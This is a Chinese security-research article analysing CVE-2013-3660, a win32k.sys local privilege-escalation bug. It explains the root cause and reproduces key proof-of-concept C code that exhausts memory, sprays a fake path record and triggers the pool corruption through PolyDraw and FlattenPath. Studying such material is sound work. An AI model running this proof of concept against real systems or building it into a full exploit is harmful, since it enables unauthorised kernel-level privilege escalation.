标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-3007]   作者: 浩丶轩 发表于: [2022-02-25]

本文共 [290] 位读者顶过

[出自:jiwo.org]

1. 概述

CVE-2013-3660是来自Google安全团队的研究人员Tavis Ormandy在对win32.sys做内存压力发现的,经过分析,发现是win32k.sys模块的一处本地提权漏洞,他本人也因此获得Pwnie Awards 2013提名。

2. 非常重要的说明


本文重点、亮点: 全网首发成功率100%的x64平台EXP。

针对文章要说明的几点:

① 本文不做基础知识普及,只对核心漏洞代码、利用代码进行说明;

② 阅读本文之前,先阅读x86平台的知识点:
https://www.anquanke.com/post/id/205867
https://bbs.pediy.com/thread-178154.htm


③ 不管是在github,还是国内网站,都是针对x86的系统对漏洞进行利用,EXP也仅仅是针对x86,并不能扩展到x64系统上。

④ 本文介绍了x64系统上的EXP编写、分析、调试;

⑤ 在x64位操作系统上,现在并没有直接可用的代码,经过研究,本人编写的EXP,成功率达到100%(原来x86下代码成功率为40%左右,x64下没有可直接使用的代码)。

⑥ 本文着重于指导EXP编写,尤其是x64系统下的EXP编写。

POC分析

1. 漏洞原因

原因主要是两点:

① 如果内存分配失败,图1中的new_PathRecord的next指针不会被初始化,从而指向的受污染数据。

② 没有对freelist空闲链表获取的内存节点进行初始化操作。见图2。
读到这里,如果还不理解污染数据是怎么污染池的,没关系,在第4节我会把调试的内存贴出来,就理解怎么污染到数据的了。



图1 new_PathRecord指针未初始化


图2 分配受污染的freelist链表

2. POC关键代码

POC代码关键点,分为三步:

1)消耗系统内存:


for (Size = 1 << 26; Size; Size >>= 1) {
               while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) {
                NumRegion++;
            }
        }

2)填入垃圾数据:

PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
        sizeof(PATHRECORD),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);
 
    FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
    PathRecord->next = (PATHRECORD*)(0x41414143);
    PathRecord->prev = (PATHRECORD*)(0x42424244);
    PathRecord->flags = 0;
 
    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y = 0;
        PointTypes[PointNum] = PT_BEZIERTO;
    }

3)触发漏洞:

for ( PointNum = MAX_POLYPOINTS;PointNum;PointNum-=3)
        {
            BeginPath(Device);
            PolyDraw(Device, Points, PointTypes, PointNum);
            EndPath(Device);
            FlattenPath(Device);
            FlattenPath(Device);
            EndPath(Device);
        }


图4 漏洞触发函数调用关系图

注意上图中的红色字体,那是FlattenPath函数的调用关系。

3. POC运行结果

运行上面POC关键代码之前,我们还需要确定一件事情,Points[PointNum].x 和Points[PointNum].y的在内存中实际读取的值,是不是就是x、y的值?我们先把x、y赋值成0x41414141,看看运行结果。
POC运行结果见下图,由图可见,当Points[PointNum].x 等于0x41414141的时,出现异常时,读取的数值实际为0x41414140,被左移了4位。所以,在写地址的时候,要右移4位,才能得到准确的地址。这就了为什么
Points[PointNum].x = (ULONG_PTR)(0x41414141) >> 4,

要右移4位的原因。


图5 POC运行结果

根据3节的分析可知,我们按照2节的代码运行时,堆数据的内容,如下:


图6 POC数据分析图

在上图中,ebp+8,就是PATHRECORD结构体指针,从堆数据内容可以看出,在第二次调用newpathrec出现异常时,堆里面的0xfe580104的next指针指向0x000f0000,而这就是PathRecord申请的堆地址,堆地址的内容就是x、y的数值。如果还不明显,我再放一张图:




评论

暂无
发表评论
 返回顶部 
热度(290)
 关注微信